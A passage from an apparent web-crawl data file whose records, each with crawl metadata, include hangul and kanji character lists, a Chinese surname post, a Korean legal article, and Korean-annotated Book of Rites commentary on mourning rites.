포 폭 폴 폼 폿 퐁 표 푯 푸 푹 푼 풀 품 풋 풍 퓨 프 플 피 픽 핀 필 핍 핏 핑 하 학 한 할 핥 함 합 핫 항 해 핵 핸 핼 햄 햇 행 향 허 헌 헐 험 헙 헛 헝 헤 헥 헬 헷 헹 혀 혁 현 혈 혐 협 혓 형 혜 호 혹 혼 홀 홈 홉 홋 홍 홑 화 확 환 활 홧 황 홰 홱 횃 횅 회 획 횟 횡 효 후 훅 훈 훌 훑 훔 훗 훙 훤 훨 훼 휑 휘 휠 휩 휴 휼 흉 흐 흑 흔 흘 흙 흠 흡 흥 흩 희 흰 힁 히 힌 힐 힘 힝 更 車 龜 金 喇 懶 羅 螺 裸 樂 烙 落 酪 亂 卵 欄 爛 蘭 濫 藍 拉 臘 蠟 朗 浪 狼 郎 來 冷 勞 老 路 露 祿 綠 錄 鹿 論 弄 籠 雷 壘 屢 樓 淚 漏 累 陋 肋 凜 凌 稜 綾 菱 陵 樂 便 復 不 泌 索 參 塞 省 掠 略 兩 凉 梁 糧 良 諒 量 呂 女 旅 濾 力 歷 年 戀 煉 練 蓮 連 鍊 列 劣 烈 廉 捻 殮 獵 令 零 靈 領 例 禮 隸 僚 尿 龍 流 留 硫 紐 類 六 戮 陸 倫 淪 輪 律 隆 利 易 李 泥 理 裏 里 離 溺 燐 隣 鱗 林 淋 臨 立 茶 糖 洞 暴 降\nU: 1","id":"","dump":"CC-MAIN-2014-52","url":"http:\/\/www.babylon.com\/free-dictionaries\/Korean_English_Dictionary\/49484.html","date":"2014-12-23T01:34:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-52\/segments\/1418802777454.142\/warc\/CC-MAIN-20141217075257-00118-ip-10-231-17-201.ec2.internal.warc.gz","language":"lzh","language_score":0.6023810506,"language_script":"Hani","minhash_cluster_size":83,"top_langs":"{\"lzh_Hani_score\": 0.6023810505867004, \"cmn_Hani_score\": 0.3289746940135956, \"yue_Hani_score\": 0.04364462196826935, \"nan_Hani_score\": 0.023369047790765762}","num_words":3701,"character_repetition_ratio":0.01,"word_repetition_ratio":0.0,"special_characters_ratio":0.485,"stopwords_ratio":0.008,"flagged_words_ratio":0.0,"lang_id_score":0.6,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"每個姓氏一句鑽心的情話,你的姓氏是什麼,屬於你的是哪句?\n我 們已經為大家暖心集齊了155種姓氏 :婁 高 鄭 鍾 熊 馮 劉 肖 何 杜 張 蔡 謝 詹 易 鄒 湯 梁 秦 閆 尤 柳岳 蘇 趙 何 田 賈 雷 崔 司 文 范 席 錢 李 張 郝 董 黃 汪 俞 楊 邱 周 孫 郭 孟 程 石 杜 曾 朱 陳 宋 萬賀 景 曲 龔 王 吳 衛 宮 毛 魏 薄 全 韓 滕 薛 苗 華 時 柴 彭 池 於 盛 嚴 米 祝 谷 柯 饒 邢 聶 龐 康 鹿辛 焦 姬 英 帥 邊 桑 支 辛 申 佟 年 祁 封 裴 平 海 續 門 丁 金 穆 胡 孔 波 阮 卓 應 殷 韋 戚 接 斐 鞏寇 班 勵 閔 厲 假 童 明 鄂 苑 儲 印 項 檀 伍 卞 甄 尹 普 冷 姜 季 李 倪 易 向 羅 馬 齊 林 沈。\n喜歡的盡情拿圖,無水印哦!","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/articleshost.com\/display\/information\/%E6%AF%8F%E5%80%8B%E5%A7%93%E6%B0%8F%E4%B8%80%E5%8F%A5%E9%91%BD%E5%BF%83%E7%9A%84%E6%83%85%E8%A9%B1%EF%BC%8C%E4%BD%A0%E7%9A%84%E5%A7%93%E6%B0%8F%E6%98%AF%E4%BB%80%E9%BA%BC%EF%BC%8C%E5%B1%AC%E6%96%BC%E4%BD%A0%E7%9A%84%E6%98%AF%E5%93%AA%E5%8F%A5%EF%BC%9F\/40220","date":"2017-04-29T21:15:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917123590.89\/warc\/CC-MAIN-20170423031203-00393-ip-10-145-167-34.ec2.internal.warc.gz","language":"lzh","language_score":0.9240675569,"language_script":"Hani","minhash_cluster_size":14,"top_langs":"{\"lzh_Hani_score\": 0.9240675568580627, \"cmn_Hani_score\": 0.05881524085998535, \"nan_Hani_score\": 0.01665249466896057}","num_words":155,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.446,"stopwords_ratio":0.026,"flagged_words_ratio":0.0,"lang_id_score":0.934,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Click a kanji for details, including animated stroke order and JLPT vocabulary. If you really want to learn kanji fast, enroll today and\nlearn Japanese online in private Japanese lessons\nfrom experienced teachers.\n丁 丑 且 丘 丙 丞 丹 乃 之 乏 乙 也 亀 井 亘 亜 亥 亦 亨 享 亭 亮 仁 仙 仮 仰 企 伊 伍 伎 伏 伐 伯 伴 伶 伽 但 佐 佑 佳 併 侃 侍 侑 価 侮 侯 侵 促 俊 俗 保 修 俳 俵 俸 倉 倖 倣 倫 倭 倹 偏 健 偲 偵 偽 傍 傑 傘 催 債 傷 僕 僚 僧 儀 儒 償 允 充 克 免 典 兼 冒 冗 冠 冴 冶 准 凌 凜 凝 凡 凪 凱 凶 凸 凹 刀 刃 刈 刑 削 剖 剛 剣 剤 剰 創 功 劣 励 劾 勁 勅 勘 勧 勲 勺 匁 匠 匡 匿 升 卑 卓 博 卯 即 却 卸 厄 厘 厳 又 及 叔 叙 叡 句 只 叶 司 吉 后 吏 吐 吟 呂 呈 呉 哀 哉 哲 唄 唆 唇 唯 唱 啄 啓 善 喚 喝 喪 喬 嗣 嘆 嘉 嘱 器 噴 嚇 囚 圏 圭 坑 坪 垂 垣 執 培 基 堀 堅 堕 堤 堪 塀 塁 塊 塑 塚 塾 墓 墜 墨 墳 墾 壁 壇 壊 壌 士 壮 壱 奇 奈 奉 奎 奏 契 奔 奨 奪 奮 奴 如 妃 妄 妊 妙 妥 妨 姫 姻 姿 威 娠 娯 婆 婿 媒 媛 嫁 嫌 嫡 嬉 嬢 孔 孝 孟 孤 宏 宗 宙 宜 宣 宥 宮 宰 宴 宵 寂 寅 密 寛 寡 寧 審 寮 寸 射 尉 尋 尚 尭 就 尺 尼 尽 尾 尿 屈 展 属 履 屯 岐 岡 岬 岳 峠 峡 峰 峻 崇 崎 崚 崩 嵐 嵩 嵯 嶺 巌 巡 巣 巧 己 巳 巴 巽 帆 帝 帥 帳 幕 幣 幹 幻 幽 庄 序 庶 康 庸 廃 廉 廊 廷 弁 弊 弐 弓 弔 弘 弥 弦 弧 張 弾 彗 彦 彩 彪 彫 彬 彰 影 往 征 径 徐 従 循 微 徳 徴 徹 忌 忍 志 応 忠 怜 怠 怪 恒 恕 恨 恩 恭 恵 悌 悔 悟 悠 悦 悼 惇 惑 惜 惟 惣 惨 惰 愁 愉 愚 慈 態 慎 慕 慢 慧 慨 慮 慰 慶 憂 憤 憧 憩 憲 憶 憾 懇 懐 懲 懸 我 戒 戯 房 扇 扉 扱 扶 批 抄 把 抑 抗 択 披 抵 抹 抽 拍 拐 拒 拓 拘 拙 拠 拡 括 拳 拷 挑 挙 振 挿 据 捷 捺 授 掌 排 控 推 措 掲 描 提 揚 握 揮 援 揺 搬 搭 携 搾 摂 摘 摩 撃 撤 撮 撲 擁 操 擦 擬 攻 故 敏 救 敢 敦 整 敵 敷 斉 斎 斐 斗 斜 斤 斥 於 施 旋 旗 既 旦 旨 旬 旭 旺 昂 昆 昌 昭 是 昴 晃 晋 晏 晟 晨 晶 智 暁 暇 暉 暑 暖 暢 暦 暫 曙 曹 朋 朔 朕 朗 朱 朴 朽 杉 李 杏 杜 条 松 析 枠 枢 架 柄 柊 某 染 柚 柳 柾 栓 栗 栞 株 核 栽 桂 桃 案 桐 桑 桜 桟 梅 梓 梢 梧 梨 棄 棋 棚 棟 棺 椋 椎 検 椰 椿 楊 楓 楠 楼 概 榛 槙 槻 槽 標 模 樹 樺 橘 檀 欄 欣 欺 欽 款 歓 殉 殊 殖 殴 殻 毅 毬 氏 汁 汐 江 汰 汽 沖 沙 没 沢 沼 沿 泌 泡 泣 泰 洞 津 洪 洲 洵 洸 派 浄 浜 浦 浩 浪 浸 涯 淑 淡 淳 添 渇 渉 渋 渓 渚 渥 渦 湧 源 溝 滅 滉 滋 滑 滝 滞 漂 漆 漏 漠 漫 漬 漱 漸 潔 潜 潟 潤 潮 澄 澪 激 濁 濫 瀬 災 炉 炊 炎 為 烈 焦 煩 煮 熊 熙 熟 燎 燦 燿 爵 爽 爾 牧 牲 犠 狂 狙 狩 独 狭 猛 猟 猪 献 猶 猿 獄 獣 獲 玄 率 玖 玲 珠 班 琉 琢 琳 琴 瑚 瑛 瑞 瑠 瑳 瑶 璃 環 甚 甫 甲 畔 畝 異 疎 疫 疾 症 痘 痢 痴 癒 癖 皇 皐 皓 盆 益 盛 盟 監 盤 盲 盾 眉 看 眸 眺 眼 睡 督 睦 瞬 瞭 瞳 矛 矢 矯 砕 砲 硝 硫 碁 碑 碧 碩 磁 磯 礁 礎 祉 祐 祥 票 禄 禅 禍 禎 秀 秘 租 秦 秩 称 稀 稔 稚 稜 稲 稼 稿 穀 穂 穏 穣 穫 穴 窃 窒 窮 窯 竜 竣 端 笙 笛 第 笹 筋 策 箇 節 範 篤 簿 粋 粗 粘 粛 糖 糧 系 糾 紀 紋 納 紗 紘 級 紛 素 紡 索 紫 紬 累 紳 紺 絃 結 絞 絢 統 絹 継 綜 維 綱 網 綸 綺 綾 緊 緋 締 緩 緯 縁 縄 縛 縦 縫 縮 繁 繊 織 繕 繭 繰 罰 罷 羅 羊 義 翁 翔 翠 翻 翼 耀 耐 耗 耶 聖 聡 聴 肇 肖 肝 肢 肥 肪 肺 胆 胎 胞 胡 胤 胴 脅 脈 脚 脩 脱 脹 腐 腸 膜 膨 臨 臭 至 致 興 舌 舎 舗 舜 舶 艇 艦 艶 芋 芙 芝 芳 芹 芽 苑 苗 茂 茄 茅 茉 茎 茜 荘 莉 莞 菊 菌 菖 菫 華 萌 萩 葬 葵 蒔 蒼 蓄 蓉 蓮 蔦 蕉 蕗 薦 薪 薫 藍 藤 藩 藻 蘭 虎 虐 虚 虜 虞 虹 蚊 蚕 蛇 蛍 蛮 蝶 融 衆 街 衛 衝 衡 衰 衷 衿 袈 裁 裂 裕 裟 裸 製 褐 褒 襟 襲 覆 覇 視 覧 訂 討 託 訟 訳 訴 診 証 詐 詔 評 詠 詢 詩 該 詳 誇 誉 誓 誕 誘 誠 誼 諄 請 諒 諭 諮 諾 謀 謁 謄 謙 謝 謡 謹 譜 譲 護 豆 豚 豪 貞 貢 貫 貴 賀 賃 賄 賊 賓 賜 賠 賦 購 赦 赳 赴 趣 距 跳 践 踏 躍 軌 軸 較 載 輔 輝 輩 轄 辰 辱 迅 迪 迫 迭 透 逐 逓 逝 逮 逸 遂 遇 遍 遣 遥 遭 遮 遵 遷 遺 遼 避 還 邑 那 邦 邪 邸 郁 郎 郡 郭 郷 酉 酌 酔 酢 酪 酬 酵 酷 酸 醜 醸 采 釈 釣 鈴 鉛 鉢 銃 銑 銘 銭 鋳 鋼 錘 錠 錦 錬 錯 鍛 鎌 鎖 鎮 鏡 鐘 鑑 閑 閣 閥 閲 闘 阻 阿 附 陛 陣 陥 陪 陰 陳 陵 陶 隆 隊 随 隔 障 隠 隣 隷 隼 雄 雅 雌 雛 離 雰 雷 需 霊 霜 霞 霧 露 靖 鞠 韻 響 項 須 頌 頑 頒 頻 顕 顧 颯 飢 飼 飽 飾 養 餓 馨 駄 駆 駒 駿 騎 騒 騰 驚 髄 鬼 魁 魂 魅 魔 鮎 鮮 鯉 鯛 鯨 鳩 鳳 鴻 鵬 鶏 鶴 鷹 鹿 麗 麟 麻 麿 黎 黙 黛 鼓","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.nihongo-pro.com\/kanji-pal\/list\/jlpt\/N1","date":"2019-09-21T03:47:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514574182.31\/warc\/CC-MAIN-20190921022342-20190921044342-00388.warc.gz","language":"lzh","language_score":0.6906558871,"language_script":"Hani","minhash_cluster_size":19,"top_langs":"{\"lzh_Hani_score\": 0.6906558871269226, \"cmn_Hani_score\": 0.21646758913993835, \"yue_Hani_score\": 0.05126984044909477, \"nan_Hani_score\": 0.03781658783555031}","num_words":1267,"character_repetition_ratio":0.001,"word_repetition_ratio":0.0,"special_characters_ratio":0.474,"stopwords_ratio":0.005,"flagged_words_ratio":0.0,"lang_id_score":0.703,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"第七節 知情不告及藏匿 處斷例\n第百二十七條 罪人의 情을 知고 不告 者와 藏匿 者 左開에 依야 處斷이라.\n一 凡人은 犯人의 本律에 一等을 減이라.\n二 同寮 犯人의 本律에 二等을 減이라.\n三 親屬은 衰服이나 大功 以上 尊長이나 外祖父母나 妻의 父母나 夫의 兄弟 爲얏거든 皆 勿論고, 大功 以上 卑幼와 小功 以下 尊長과 卑幼어든 第六十四條 親屬等級에 依야 遞減이라.\n四 雇工이 家長을 爲 者도 亦히 勿論호 家長이 雇工을 爲 者 二等을 減이라.\n但 反逆을 容隱 者 此限에 不在이라.","id":"","dump":"CC-MAIN-2020-29","url":"http:\/\/db.history.go.kr\/law\/item\/level.do?levelId=jlawb_190_0040_0010_0070_0010","date":"2020-07-12T03:45:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593657129517.82\/warc\/CC-MAIN-20200712015556-20200712045556-00288.warc.gz","language":"lzh","language_score":0.6155474186,"language_script":"Hani","minhash_cluster_size":11,"top_langs":"{\"lzh_Hani_score\": 0.6155474185943604, \"cmn_Hani_score\": 0.30704039335250854, \"jpn_Jpan_score\": 0.07076093554496765}","num_words":69,"character_repetition_ratio":0.008,"word_repetition_ratio":0.0,"special_characters_ratio":0.303,"stopwords_ratio":0.101,"flagged_words_ratio":0.0,"lang_id_score":0.616,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"01. 君之適長殤은 車三乘이오, 公之庶長殤은 車에 一乘이오, 大夫之適長殤은 車에 一乘이니라.[425]\n此는 言 送殤遣車之禮라. 君은 謂國君이니 亦或有地大夫이 通得稱君也라. 公은 專言五等 諸侯也라. 十六으로 至十九이 爲長殤이니 葬 此殤時에 柩이 朝廟畢,將行에 設遣尊,以尊之하고 牲體를 分析包裹하야 用此車載之하야 以遣送死者라. 故 名遣車라. 車制이 甚小하야 以置之椁內四隅하니 不容大爲之也라. 禮에 中殤은 從上이라하니 君 適長이 三乘則中亦三乘이오, 下則一乘也라. 公庶長이 一乘則中亦一乘이오, 下則無也라. 大夫 適長이 一乘則中亦一乘이오, 下殤及庶殤은 並無也라.\n02. 公之喪에 諸達官之長이 杖이니라.[426]\n方氏이曰 受命於君者는 其名이 達於上이라. 故 謂之達官이니 若府史而下는 皆長官이 自辟除則不可謂之達矣라. 受命於君者는 其恩이 厚라. 故 公之喪에 惟達官之長杖이니라.\n○ 今按, 凡官에 皆有長貳하니 此이 以長言則不及貳也라.\n朱子曰達官謂得自通於君者如內則公卿宰執與六曺之長九寺五監之長外則監司郡守得自通章奏於君者凡此皆杖次則不杖也.\n03. 君이 於大夫에 將葬할새, 弔於宮하시고. 及出하야 命引之하여시든, 三步則止니, 如是者이 三이오, 君이 退니,[句] 朝에 亦如之하며, 哀次에 亦如之니라.[427]\n弔於宮은 於其殯宮也라. 出은 柩已行也라. 孝子이 攀號不忍하니 君命引之난 奪其情也라. 引者이 三步卽止러든 君이 又命引之하야 如是者이 三에 柩車이 遂行이러든 君이 卽退去라. 君이 來時에 不必恒在殯宮이라. 惑當柩 朝廟之時어든 亦如之하고 或已出大門하야 至平日待賓客次舍之處하야 孝子이 哀而暫停柩車이어든 則亦如之니라.[攀:당길반,더위잡다]\n04. 五十에 無車者는 不越疆而弔人이니라.[427]\n始衰之年이니 不可以筋力으로 爲禮也라.\n05. 季武子이 寢疾이어늘, 蟜[矯]固이 不說(脫)齊衰而入見하야, 曰호대,\"斯道也이 將亡矣라. 士이 唯公門에 說(脫)齊衰하나니라.\"武子이 曰호대,\"不亦善乎아! 君子난 表微하나니라.\"及其喪也하야, 曾點이 倚其門而歌하니라.[428]\n季武子난 魯大夫季孫夙也라. 蟜固난 人姓名이라 點의 字난 晳이니 魯子父也라. 武子이 寢疾之時에 蟜固이 適有齊衰之服이라. 遂衣凶服而問疾하고 且曰 大夫之門에 不當釋凶服이오 惟君門에 乃說(脫)耳라. 此禮이 將亡하니 我之凶服以來난 欲以救此將亡之禮也라. 武子이 善之하야 言失禮之顯著者난 人皆可知요 若失禮之微細者난 惟君子에 乃能表明之也라하니, 武子이 執政하니 人所尊畏라. 固之爲此난 欲以易時人之觀瞻하야 據禮而行이니 武子이 雖憾이나 不得而罪之也니라. 若倚門而歌則 非禮矣라. 其亦狂之一端歟난 記者이 蓋善蟜固之存禮하고 譏曾點之廢禮也라.[譏:나무랄 기]\n06. 大夫이 弔여든, 當事而至則辭焉이니라. 弔於人하고, 是日에 不樂이니라. 婦人不越疆而弔人이니라. 行弔之日에, 不飮酒食肉焉이니라.[429]\n大夫弔난 於士也라. 大夫雖尊이나 然 當主人有小歛 大歛.或殯之事而至則殯者이 以其事告之니 辭나, 猶告也라. 若 非當事之時則孝子이 下堂迎之니라. 婦人이 無外事라. 故不越疆而弔라. 是日에 不樂不飮酒食肉은 皆爲餘哀未忘也라.\n★ 長樂陳氏曰 婦人見兄弟可以及閾而不可以踰閾送迎可以及門而不可以出門弔人可以出門而不可以越疆許穆夫人歸言於衛而不可得則越疆而弔人如之何而可.\n弔於葬者난 必執引이니,[去聲] 若從柩及壙하야난,[上聲] 皆執紼이니라.[430]\n引은 引柩車之索也라. 紼(상여줄)은 引棺索也라. ○ 鄭氏이 曰 示助之以力이라.\n○ 疏曰 弔葬이 本爲助執事라. 故,必相助引柩車하니 凡執引用人이 貴賤有數하니 數足則餘人이 皆散行從柩하고 至下棺窆時則不限人數하야 皆悉執紼也라. 引者난 長遠之名이라 故,在車하니 車行이 遠也요 紼은 是撥擧之義라. 故,在棺하니 棺惟撥擧요, 不長遠也라.\n★ 嚴陵方氏曰 引在前屬之於車以道柩也 紼在旁屬之於棺以弼柩也 道柩者惟在路用之而已 弼柩者至下棺亦用焉 故雖不執引而 或從柩及壙亦皆執紼也 曲禮曰 助葬者必執紼蓋謂是矣.\n喪에 公이 弔之하야시든, 必有拜者이니, 雖朋友州里舍人이라도 可也이니 弔曰\"寡君이 承事라.\"하야시든 主人이 曰\"臨.\"이라하나니라.[431]\n此는 謂國君이 弔其諸臣之喪이라 弔後에 主人이 當親往拜謝이니 喪家이 若無主後면 必使以次䟽親往拜하며, 若又無䟽親則死者之朋友,及同州同里,及喪家典舍之人이 往拜亦可也라. 寡君承事난 言來承助喪事이니 此난 君이 語擯者傳命以入之辭요, 主人曰 臨者난 謝辱 臨之重也라.\n君이 遇柩於路하사, 必使人으로 弔之니라.[432]\n蕢尙이 畵宮受弔이 不如杞梁之妻이 知禮而此言弔於路난 何也오? 蓋有爵者之喪은 當以禮弔이오, 此난 謂臣民之微賤者耳니 禮不下庶人也리. 言必使人弔者난 是汎言衆人之喪也라.\n★ 廬陵胡氏曰 遇柩於路 必使人弔之 若齊俟哭 敝無存之類\n大夫之喪에 庶子不受弔이니라.[432]\n大夫之喪에 適子이 爲主拜賓하니 或以他故不在則 庶子이 不敢受弔니 不敢以卑賤으로 爲有爵者之喪主也라.\n07. 妻之昆弟이 爲父後者이 死커든 哭之適室하대, 子이 爲主하야 袒免[問]哭踊이어든, 夫이 入門右하야 使人으로 入於門外하야 告來者이어든 狎則入哭이니, 父在커든 哭於妻之室이오. 非爲父後者이어든 哭諸異室이니라.[433]\n此난 聞妻兄弟之喪而未往弔時禮也라. 父在난 已之父也라. 爲父後난 妻之父也라. 門外之人이 以來弔者告호대 若是交游習狎之人則徑入哭之니 情義然也라\n○ 疏曰 女子子,適人者이 爲昆弟之爲父後者,不降하니 以其正故也라. 故 姉妹之夫이 爲之哭於適室之中庭하고, 子爲主者난 甥服舅緦라. 故 命已子爲主하야 受弔拜賓也라. 袒免哭踊者난 冠尊,不居肉袒之上이니 必先去冠而加免이라. 故 凡哭에 哀則踊하고 踊必先袒하고 袒必先免이라. 故 袒,免哭踊也리. 夫入門右者난 謂此子之父이니 卽哭妻兄弟者라.\n★ 嚴陵方氏曰 哭諸異 室者以其別於適也\n08. 有殯에 聞遠兄弟之喪하야 哭於側室하고. 無側室이어든 哭于門內之右이니. 同國則往哭之니라.[434]\n側室者난 燕寢之旁室也라. 門內난 大門之內也라. 上篇에 言有殯聞遠兄弟之喪雖緦必往하니 其亦謂同國歟인저.\n○ 方氏이 曰 哭于側室은 欲其遠殯宮也라. 于門內之右者난 不居主位하야 示爲之變也라. 同國則王者난 以其不遠也라.\n09. 子張이 死커늘, 曾子이 有母之喪하더시니, 齊衰而往哭之한대 或曰호대\"齊衰에는 不以弔이니라.\"曾子이曰하여대,\"我에 弔也與[平聲]哉아.\"[435]\n以喪母之服而哭朋友之喪하니 踰禮已甚이라. 故 或人이 止之而曾子之意則 曰 我於子張之死에 豈常禮之弔而已哉리오하니, 今詳此意호니 但以友義隆厚로 不容不往哭之요, 又不可釋服而往이니, 但往哭而不行弔禮耳라. 故 曰 我弔也與哉라.\n○ 劉氏이 曰 曾子이 嘗問 三年之喪에 弔乎아? 夫子이 曰 三年之喪에 練하고 不群立하고 不旅行이니, 君子이 禮以 飾情하나니 三年之喪而弔哭이 不亦虛乎아! 旣聞此矣而又以母喪弔友이 必不然也리니, 凡經中에 言曾子失禮之事를 不可盡이니 信此亦可見이로다.[練:小祥服]\n11. 有若之喪에 悼公이 弔焉커시거늘 子游이 擯호대 由左하더라.[436]\n悼公은 魯君이니 哀公之子라. 擯은 贊相禮事也라. 立者에 尊右하니 子游이 由公之左則公在右,爲尊矣라. 少儀에 云 詔辭自右者난 謂傳君之詔命則詔命에 爲尊이라. 故 傳者이 居右엔 時에相 喪禮者이 亦多由右라. 故 子游이 正之也라.\n11. 齊에 穀[告]王姬之喪이어늘, 魯莊公이 爲之大功이러니, 或曰호대, \"由魯嫁 故로 爲之服姉妹之服.\"이라하며 或曰호대.\"外祖母也 故로 爲之服.\"이라하다.[437]\n穀은 讀爲告라. 齊襄公夫人 王姬卒에 在魯莊之二年이라. 赴告於魯하니 其初由魯而嫁라. 故,魯君이 爲之服,出嫁姉妹大功之服하니 禮也라. 或人에 旣不知此王姬이 乃莊公舅之妻而以爲外祖母하고 又不知外祖母服小功而以大功으로 爲外祖母之服하니 其亦妄矣로다.\n○ 鄭氏이 曰 春秋에 周女이 由魯嫁하야 卒則服之을 如內女하니 服姉妹이 是也라. 天子난 爲之無服이오, 嫁於王者之後이란 乃服之니라.\n12. 晉獻公之喪에 秦穆公이 使人으로 弔公子重耳하고, 且曰호대,\"寡人은 聞之호니, 亡國에 恒於斯이며, 得國이 恒於斯니. 雖吾子이 儼然在憂服之中이나, 喪[去聲]亦不可久也이며, 時亦不可失也니. 孺子난 其圖之하라!\"[438]\n獻公이 薨時에 重耳이 避難在狄이라. 故 穆公이 使人往弔之하니 弔爲正禮라. 故 以且曰로 起下辭하니라. 寡人聞之者난 此는 使者이 傳穆公之言也라. 恒於斯난 言常在此死生交代之際也라. 儼然은 端靜持守之貌라. 喪은 失位也라. 喪不可久,時不可失者난 勉其奔喪反國하야 以謀襲位라. 故 言孺子其圖之也라. 此時에 秦이 已有納之之志矣로다. [狄:북만오랑캐적,악공,아전.멀다]\n以告舅犯하야대 舅犯이 曰,\"孺子난 其辭焉하사, 喪[去聲]人은 無寶이라. 仁親을 以爲寶하니 父死之謂何오? 又因以爲利면 而天下이 其孰能說[如字]之리오. 孺子난 其辭焉하샤.\"[439]\n舅犯은 重耳舅 狐偃이니 字난 子犯也라. 公子이 旣聞使者之言하고 入以告之子犯하니, 犯이 言當辭而不受이 可也라. 失位去國之人이 無以爲寶요, 惟仁愛思親이 乃其寶也라. 父死謂是何事오. 正是凶禍大事니 , 豈可又因此凶禍하야 以爲反國之利며, 而天下之人이 孰能解說我 爲無罪乎아? 此所以不當受其相勉反國之命也라. [偃:누울연]\n公子重耳이 對客曰호대,\"君이 惠弔亡臣重耳하시니 身喪父死라. 不得與[去聲]於哭泣之哀하니 以爲君憂호니 父死之謂何오? 或敢有他志하니 以辱君義아.\" 稽顙而不拜하며 哭而起호대 起而不私하니라.[顙:이마상][440]\n公子이 旣聞子犯之言하고 乃出而答客이라. 惠弔亡臣重耳난 謝其來弔也라. 不得與哭泣之哀난 言出亡在外하야 不得居喪次也라. 以爲君憂者난 致君憂慮我也라. 他志난 謂求位之志라. 辱君義者난 辱君惠弔之義也라. 不私난 不再與使者私言也라.\n子顯이[去聲]以致命於穆公하야대, 穆公이 曰호대, \"仁夫인저, 公子重耳여! 夫稽顙而不拜하니 則未爲後也이로다. 故로 不成拜하니 哭而起난 則愛父也요. 起而不私난 則遠[去聲]利也로다.\"[441]\n鄭註이 用國語하야 知使者이 爲公子縶라. 字는 子韅이니 故 讀顯爲韅也라. 喪禮에 先稽顙後拜를 謂之成拜니 爲後者이 成拜난 所以謝弔禮之重이라. 今公子이 以未爲後로 故 不成拜也라. 愛父난 猶言哀痛其父也라. 不私與使者言은 是無反國之意니 是遠利也라. 愛父遠利에 皆仁者之事라. 故 稱之曰仁夫公子重耳라.[縶(집):말매다,연하다,갇히다][韅(현):말뱃대끈]\n○ 嚴陵方氏氏曰 \"孟子曰 不仁而得國者有之矣 不仁而得天下者未之有也 夫不仁 猶或有得國者而 況於仁乎 觀重耳拒秦穆 公之言則其仁可知矣 故終能覇有全晉然重耳之所爲特受之於舅犯而耳 向使自得於天 資非由於人授推是以爲國則 一語一默一動一靜 無非仁也 又安得孔子有譎而不正之譏哉\n14. 帷殯이 非古也니. 自敬姜之哭穆伯으로 始也니라.[442]\n禮에 朝夕哭殯之時에 必褰開其帷이라 敬姜이 哭其夫穆伯之殯에 乃以避嫌而不復褰帷하니 自此以後로 人皆傚之라 故 記者이 云 非古也라 穆伯은 魯大夫季悼子之子 公甫靖也라.\n○ 張子曰 敬姜弔寡 晝哭以避嫌 帷殯或亦避嫌表 夫之遠色也[褰:옷걷을건,바지건][傚:배우다.닮게.效]\n15. 喪禮난, 哀戚之至也라. 節哀난, 順變也이니. 君子난 念始之者也라.[443]\n孝子之哀이 發於天性之極至니 豈可止遏리오. 聖人이 制禮하야 以節其哀하니 蓋順以變之也이니 言順孝子之哀情하야 以漸變而輕減也라. 始난 猶生也이니 生我者父母也라 毁而滅性이 是不念生我者矣라\n○ 嚴陵方氏之者 親也終而成之者子也 苟過於哀而不知變則 或以死傷生矣 故節哀順變者以 君子念始之者也\n○ 臨川吳氏曰 順變二字 釋節哀之義 順謂順孝子哀心 不沮止之 然爲之節使之 雖哀而有變則 其哀不至過甚傷生也\n復은, 盡愛之道也이니. 有禱祠之心焉이니라. 望反諸幽난, 求諸鬼神之道也라. 北而은, 求諸幽之義也이라.[443]\n行禱五祀而不能回其生이라. 又爲之復하니 是난 盡其愛親之道而禱祀之心이 猶未忘於復之時也이라. 望反諸幽난 望其自幽而反也이라. 鬼神이 處幽暗하니 北乃幽陰之方이라. 故.求諸鬼神之幽者必向北也라.\n○ 嚴陵方氏曰 孝子之事親 固有愛之道及其死也 猶復以冀其復生則愛之道於是爲盡 故曰 盡愛之道也 冀其復生固所以有禱祀之禮也 特有是心耳 故曰 有禱祀之心 莊子曰 鬼神 守其幽則 幽者 鬼神之道也 復之時 望其魂 氣自幽而反 故曰望反諸幽南 爲陽有明之義 北爲陰有幽之義 故曰 北面求諸幽也\n拜하고 稽顙언, 哀戚之至隱也이니. 稽顙언, 隱之甚也이라.[顙(상):이마(額), 이마를 땅에 대어 절하다][444]\n隠은 通也이라. 稽顙者난 以頭觸地니 無復禮容이라. 就拜與稽顙言之건대 皆爲至痛而稽顙則 尤其痛之甚者也라.\n○ 嚴陵方氏曰 孝子哀痛之容有若手之辟足之踊口之哭 目之泣 鼻之洟 固非一類特不若稽顙之爲甚爾.\n飯[上聲]用米具난, 弗忍虛也이니. 不以食道이라, 用美焉爾니라.[445]\n實米與具于死者 口中은 不忍其口之虛也라. 此난 不是用飮食之道이라 但用此美潔之物以하야 實之焉爾라.\n○ 嚴陵方氏曰 弗忍虛則 無致死之不仁 不以食道則 無致生之不知\n銘은, 明旌也라. 以死者이 爲不可別已일새, 故로 以其旗識[式志反]之니. 愛之로 斯錄之矣며, 敬之로 斯盡其道焉耳니라.[445]\n士喪禮에 銘曰 某氏某之柩이라하니 初置于簷下西階上이라가 及爲重畢則置於重하고 殯而卒塗에 始樹於肂坎之東이라하니 疏에 云 士난 長三尺이오, 大夫난 五尺이오, 諸侯난 七尺이오, 天子난 九尺이오. 若不命之士則以緇로 長이 半幅이오 䞓末이 長이 終幅이오, 廣이 三寸이라. 半幅은 一尺也이오, 終幅은 二尺也이니 是總長三尺이라. 夫愛之而錄其名하고, 敬之而盡其道이니, 曰愛 曰經이 非虛文也이라.\n○ 嚴陵方氏曰 凡銘改所以爲名明旌謂之銘 故男子書名焉 夫愛之則不忍亡 故爲旌以錄死者之銘 敬之則 不敢遺送死之道 所以爲盡也\n○ 李氏曰 葬埋 謹藏其形也 祭祀謹事其神也 銘誄繁世謹傳其名也 以傳其名 故曰 錄之事死而至於傳其名 故曰盡其道.\n重은[平聲],\n主道也이니 殷主난 綴[拙]重焉하고, 周主는 重을 徹焉하니라.[447]\n禮註에 云 士重은 木長三尺이라하니 始死에 作重以依神하니 雖非主而有主之道이라. 故 曰 